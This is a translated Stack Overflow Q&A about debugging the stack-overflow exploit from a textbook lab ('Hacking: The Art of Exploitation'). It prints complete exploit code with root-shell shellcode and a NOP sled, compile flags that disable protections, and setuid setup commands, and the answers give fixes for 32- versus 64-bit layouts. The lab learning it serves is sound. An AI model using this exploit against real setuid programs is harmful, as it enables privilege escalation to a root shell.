【问题标题】:Why do I get a segmentation fault in the exploit_notesearch program from "Hacking: The Art of Exploitation"?为什么我在“黑客:剥削的艺术”中的exploit_notesearch 程序中出现分段错误?
【发布时间】:2020-09-28 16:29:39
【问题描述】:

所以,首先,我使用的是完全更新的 Kali 2020.1。 64 位。 源码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "hacking.h"
#include <unistd.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    long int i, *ptr, ret, offset=270;
    char *command, *buffer;
    command = (char *) malloc(200);

    bzero(command, 200); // Zero out the new memory.
    strcpy(command, "./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.
    if(argc > 1) // Set offset.
        offset = atoi(argv[1]);
    ret = (long int) &i - offset; // Set return address.

    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;

   memset(buffer, 0x90, 60); // Build NOP sled.
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
   strcat(command, "\'");
   system(command); // Run exploit.
   free(command);
} 

现在,一些重要的说明。我包含了所有这些库,因为没有它们编译会引发警告。 前面的notetaker和notesearch程序,以及这个exploit_notesearch程序在终端编译如下:

gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c 

我不再记得说我必须以这种方式编译的来源(他们的首选堆栈边界是 2,但我的机器要求它在 4 到 12 之间)。此外,如您所见,堆栈现在是可执行的。

所有 3 个程序(notetaker、notesearch 和exploit_notesearch)都按照书中的方式修改了权限:

sudo chown root:root ./program_name
sudo chmod u+s ./program_name      

我尝试遵循此链接中的解决方案:Debugging Buffer Overflow Example,但无济于事。此链接也是如此:Not So Fast Shellcode Exploit

使用 for 循环在终端中使用增量 1、10、20 和 30 将偏移量从 0 增量更改为 330 也不能解决我的问题。无论我做什么,我都会遇到分段错误。

在我的情况下可能是什么问题以及克服上述问题的最佳方法是什么?谢谢。

P.S 我记得读过我应该使用 64 位 shellcode 而不是提供的那个。

【问题讨论】:

  • 别看那本书了:(
  • 请问为什么?在我看来,这是一本相当不错的书。当然,具体的漏洞利用本身可能已经过时,但概念却并非如此。只是我的2美分。很多人推荐给我。
  • 一般来说,将 32 位漏洞利用转换为 64 位并不简单。您基本上必须重新开始:分析漏洞并从头开始重新设计漏洞利用。这不仅仅是使用不同的 shellcode 的问题;地址,堆栈布局,指针大小,零字节可以和不能是;这些都变了。尤其是,您不能指望在没有充分了解一切工作原理的情况下仅仅通过调整事情来做到这一点。
  • 如果您在 32 位模式下执行所有操作(即使用 -m32 编译),您可能会得到一些工作。
  • 谢谢。 -m32 标志有效!

标签: c shell segmentation-fault buffer-overflow exploit


【解决方案1】:

当您出现段错误时,是在 GDB 等调试器中运行它的好时机。它应该告诉您崩溃的正确位置,并且您可以逐步执行并验证您所做的假设。最常见的段错误往往是无效的内存权限(例如尝试执行不可执行的页面)或无效的指令(例如,如果您进入 shellcode 的中间,而不是 NOP sled)。

您在尝试将漏洞利用转换为在 32 位上工作时遇到了几个问题。当用返回地址填充缓冲区时,当 64 位上的指针实际上是 8 字节时,它使用常量 4。

for(i=0; i < 160; i+=4) // Fill buffer with return address.
    *((unsigned int *)(buffer+i)) = ret;

在尝试利用strcpy 错误时,这也可能会出现一些问题,因为这些 64 位地址将包含 NULL 字节(因为可用地址空间仅使用 8 个字节中的 6 个)。因此,如果在实际覆盖堆栈上的返回地址之前有一些过早的 NULL 字节,则实际上不会复制足够的数据来按预期利用溢出。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多